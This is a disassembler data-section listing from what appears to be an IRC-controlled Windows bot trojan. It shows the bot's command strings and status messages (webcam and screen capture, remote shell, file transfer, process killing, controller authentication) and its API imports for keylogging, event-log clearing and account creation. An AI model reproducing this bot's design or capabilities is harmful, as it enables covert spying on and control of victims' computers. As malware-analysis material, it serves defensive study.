unk_442EA4	db  2Dh	; -		; DATA XREF: sub_401C87:loc_409057o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 10h
aDrivers	db 'drivers',0          ; DATA XREF: sub_401C87:loc_40906Ao
unk_442EE8	db  2Dh	; -		; DATA XREF: sub_401C87+7430o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 10h
unk_442F10	db  2Dh	; -		; DATA XREF: sub_401C87+7463o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 4
aFrame		db 'frame',0            ; DATA XREF: sub_401C87:loc_4090F7o
		align 10h
unk_442F40	db  2Dh	; -		; DATA XREF: sub_401C87+74E7o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
unk_442F6C	db  2Dh	; -		; DATA XREF: sub_401C87:loc_40917Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 10h
unk_442FA0	db  2Dh	; -		; DATA XREF: sub_401C87:loc_409185o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for webcam capture.',0
		align 4
aVideo		db 'video',0            ; DATA XREF: sub_401C87:loc_409198o
		align 10h
unk_442FE0	db  2Dh	; -		; DATA XREF: sub_401C87+759Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 10h
unk_443010	db  2Dh	; -		; DATA XREF: sub_401C87:loc_409239o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing amateur video from webcam.',0
dword_443050	dd 234032Dh, 74706163h,	2657275h, 49202D03h, 6C61766Eh
					; DATA XREF: sub_401C87:loc_409243o
		dd 70206469h, 6D617261h, 72657465h, 6F662073h, 6D612072h
		dd 75657461h, 69762072h, 206F6564h, 74706163h, 2E657275h
		db 2 dup(0)
word_44308E	dw 72h			; DATA XREF: sub_401C87:loc_409253o
unk_443090	db  2Dh	; -		; DATA XREF: sub_401C87+7637o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
dword_4430B4	dd 234032Dh, 6E69616Dh,	202D0302h, 64616552h, 6C696620h
					; DATA XREF: sub_401C87+764Do
		dd 61662065h, 64656C69h, 7325203Ah
		db 2 dup(0)
word_4430D6	dw 0Ah			; DATA XREF: sub_401C87+7677o
unk_4430D8	db  2Dh	; -		; DATA XREF: sub_401C87+7695o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
dword_443104	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401C87+769Do
		dd 732520h
unk_44311C	db  2Dh	; -		; DATA XREF: sub_401C87+76DCo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_44313C	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401C87:loc_40936Ao
		dd 746E6573h, 2Eh
dword_443158	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401C87+778Co
		dd 2Eh
unk_443170	db  2Dh	; -		; DATA XREF: sub_401C87+77E5o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_4431B0	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401C87+7819o
		dd 0
dword_4431C8	dd 7325h		; DATA XREF: sub_401C87+783Bo
unk_4431CC	db  2Dh	; -		; DATA XREF: sub_401C87+788Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
unk_4431F0	db  2Dh	; -		; DATA XREF: sub_401C87+78E6o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_34	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_44322C	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401C87+7915o
		dd 27732527h, 2Eh
dword_443248	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401C87:loc_4095A3o
unk_443254	db  2Dh	; -		; DATA XREF: sub_401C87+7960o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
unk_443278	db  2Dh	; -		; DATA XREF: sub_401C87:loc_4095EEo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process ID: %s',0
unk_4432A8	db  2Dh	; -		; DATA XREF: sub_401C87+79BBo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_4432C8	db  2Dh	; -		; DATA XREF: sub_401C87:loc_40964Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process: %s',0
		align 4
unk_4432F8	db  2Dh	; -		; DATA XREF: sub_401C87+79FCo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_443318	db  2Dh	; -		; DATA XREF: sub_401C87+7A2Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS__0	db '- Lookup: %s -> %s.',0
		align 4
unk_443338	db  2Dh	; -		; DATA XREF: sub_401C87:loc_4096BAo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 10h
unk_443360	db  2Dh	; -		; DATA XREF: sub_401C87+7A53o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
aOpen_1		db 'open',0             ; DATA XREF: sub_401C87+7A6Do
		align 10h
unk_443390	db  2Dh	; -		; DATA XREF: sub_401C87+7A80o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 10h
unk_4433B0	db  2Dh	; -		; DATA XREF: sub_401C87:loc_409711o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_4433D4	db  2Dh	; -		; DATA XREF: sub_401C87+7AA3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
aNickS_7	db 'NICK %s',0          ; DATA XREF: sub_401C87+7AE9o
aS_25		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401C87+7AFEo
		align 4
aQuitLater_0	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7B2Co
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401C87+7BB9o
unk_443420	db  2Dh	; -		; DATA XREF: sub_401C87+7BD3o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
unk_443448	db  2Dh	; -		; DATA XREF: sub_401C87:loc_409864o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_443470	db  2Dh	; -		; DATA XREF: sub_401C87+7C28o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_443494	db  2Dh	; -		; DATA XREF: sub_401C87:loc_4098B6o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
aS_26		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401C87+7C97o
		align 4
dword_4434C8	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401C87+7CA5o
		dd 2E732520h, 0
dword_4434E4	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401C87+7CB2o
unk_4434F0	db  2Dh	; -		; DATA XREF: sub_401C87+7CC2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
aJoinSS_3	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7CD6o
		align 4
unk_443524	db  2Dh	; -		; DATA XREF: sub_401C87+7CE6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
aNickS_8	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401C87+7CF3o
		align 4
unk_443554	db  2Dh	; -		; DATA XREF: sub_401C87+7D03o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 4
aQuitReconnec_0	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_409994o
		align 10h
unk_443590	db  2Dh	; -		; DATA XREF: sub_401C87+7D23o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s ms',0
		align 4
aQuitReconnec_1	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_4099DAo
		align 4
unk_4435CC	db  2Dh	; -		; DATA XREF: sub_401C87+7D69o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s seconds',0
		align 4
aNickS_9	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401C87+7DBFo
		align 10h
unk_443600	db  2Dh	; -		; DATA XREF: sub_401C87+7DD3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
asc_443624:				; DATA XREF: sub_401C87+7E06o
					; sub_401C87+7E24o
		unicode	0, <!~>
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401C87+7E54o
		align 10h
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401C87+7E68o
		align 4
unk_44367C	db  2Dh	; -		; DATA XREF: sub_401C87+7E77o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401C87+7EC1o
		align 10h
aNoticeSYourA_0	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401C87+7ED5o
		align 4
unk_4436FC	db  2Dh	; -		; DATA XREF: sub_401C87+7EE4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 4
unk_443728	db  2Dh	; -		; DATA XREF: sub_401C87+7F39o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_443748	db  2Dh	; -		; DATA XREF: sub_401C87+7F56o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7F63o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7F78o
		align 4
aJoinSS_4	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7F8Bo
		align 4
aNotice_3	db 'NOTICE',0           ; DATA XREF: sub_409C75+Fo
		align 10h
aPrivmsg_2	db 'PRIVMSG',0          ; DATA XREF: sub_409C75+16o
aS_12		db '%s',0               ; DATA XREF: sub_409C75+3Bo
		align 4
aSSS		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409C75+58o
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409D10+Ao
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409D10+23o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409D10+2Bo
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409D10+38o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409D10+45o
		align 4
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409D10+52o
		align 4
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409D10+5Fo
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409D10+6Co
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409D10+79o
		align 10h
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409D10+86o
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409D10+93o
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409D10+A0o
		align 10h
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409D10:loc_409E18o
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409D10:loc_409E45o
		align 4
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409D10+14Ao
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409D10+152o
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409D10+15Fo
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409D10+16Co
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409D10+179o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409D10+186o
		align 10h
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409D10+193o
		align 10h
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409D10+1A0o
		align 10h
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409D10:loc_409F08o
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409D10+200o
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409D10+20Do
		align 10h
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409D10+21Ao
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409D10:loc_409F6Fo
		align 4
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409D10+270o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409D10+278o
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409D10+285o
		align 4
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409D10+292o
		align 4
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409D10+29Fo
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409D10+2ACo
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409D10+2B9o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409D10+2C6o
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409D10:loc_40A022o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409D10+31Ao
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409D10+327o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409D10:loc_40A067o
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409D10+35Fo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409D10+36Co
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409D10+379o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409D10+386o
		align 4
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409D10+393o
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409D10+3A0o
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409D10+3ADo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409D10:loc_40A115o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409D10:loc_40A13Do
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409D10+43Eo
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409D10+446o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409D10+453o
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409D10+460o
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409D10+46Do
		align 10h
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409D10+47Ao
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409D10+487o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409D10+494o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409D10+4A1o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409D10+514o
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409D10+525o
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409D10+52Do
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409D10+53Ao
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409D10+547o
		align 4
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409D10+554o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409D10+561o
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409D10+56Eo
		align 10h
aSocket		db 'socket',0           ; DATA XREF: sub_409D10+57Bo
		align 4
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409D10+588o
aConnect	db 'connect',0          ; DATA XREF: sub_409D10+595o
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409D10+5A2o
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409D10+5AFo
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409D10+5BCo
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409D10+5C9o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409D10+5D6o
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409D10+5E3o
		align 4
aSend_0		db 'send',0             ; DATA XREF: sub_409D10+5F0o
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409D10+5FDo
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409D10+60Ao
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409D10+617o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409D10+629o
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_409D10+631o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409D10+63Eo
		align 10h
aAccept		db 'accept',0           ; DATA XREF: sub_409D10+64Bo
		align 4
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409D10+658o
		align 4
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409D10+665o
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409D10+672o
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409D10+67Fo
		align 4
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409D10+68Co
		align 4
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409D10+699o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409D10+6A6o
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409D10:loc_40A4EFo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409D10+7F0o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409D10+7F8o
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409D10+805o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409D10+812o
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409D10+81Fo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409D10+82Co
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409D10+839o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409D10+846o
		align 4
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409D10+853o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409D10+860o
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409D10+8D2o
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409D10:loc_40A60Fo
		align 4
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409D10+90Co
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409D10+914o
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409D10+921o
		align 4
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409D10:loc_40A66Eo
		align 4
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409D10+96Fo
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409D10+977o
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409D10+984o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409D10+991o
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409D10+99Eo
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409D10+9ABo
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409D10+9B8o
		align 4
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409D10+9C5o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409D10+9D2o
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409D10+9DFo
		align 10h
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409D10+9ECo
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409D10+9F9o
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409D10:loc_40A78Ao
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409D10+A87o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409D10+A8Fo
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409D10:loc_40A7D4o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409D10+AD1o
		align 4
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409D10+AD9o
		align 10h
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409D10:loc_40A81Eo
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409D10+B1Bo
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409D10+B23o
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409D10+B30o
		align 4
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409D10+B3Do
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409D10:loc_40A892o
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409D10+B8Fo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409D10+B97o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409D10:loc_40A8DCo
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409D10+BD9o
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409D10+BE1o
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409D10+BEEo
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409D10+BFBo
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409D10+C08o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409D10+C15o
		align 4
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409D10:loc_40A97Ao
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409D10+C77o
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409D10+C7Fo
		align 10h
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+28o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+5Co
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+90o
		align 10h
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+C4o
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+F8o
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+12Co
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+160o
		align 4
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+194o
		align 10h
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+1C8o
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+1FCo
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+230o
		align 4
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+264o
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+298o
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+2CCo
		align 4
unk_44421C	db  2Dh	; -		; DATA XREF: sub_40A9CC+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
a___1:					; DATA XREF: .packed:0040AD2Co
					; .packed:0040AD44o
		unicode	0, <..>
unk_444240	db  2Dh	; -		; DATA XREF: sub_40ADC9+43o
		db 3, 34h, 2
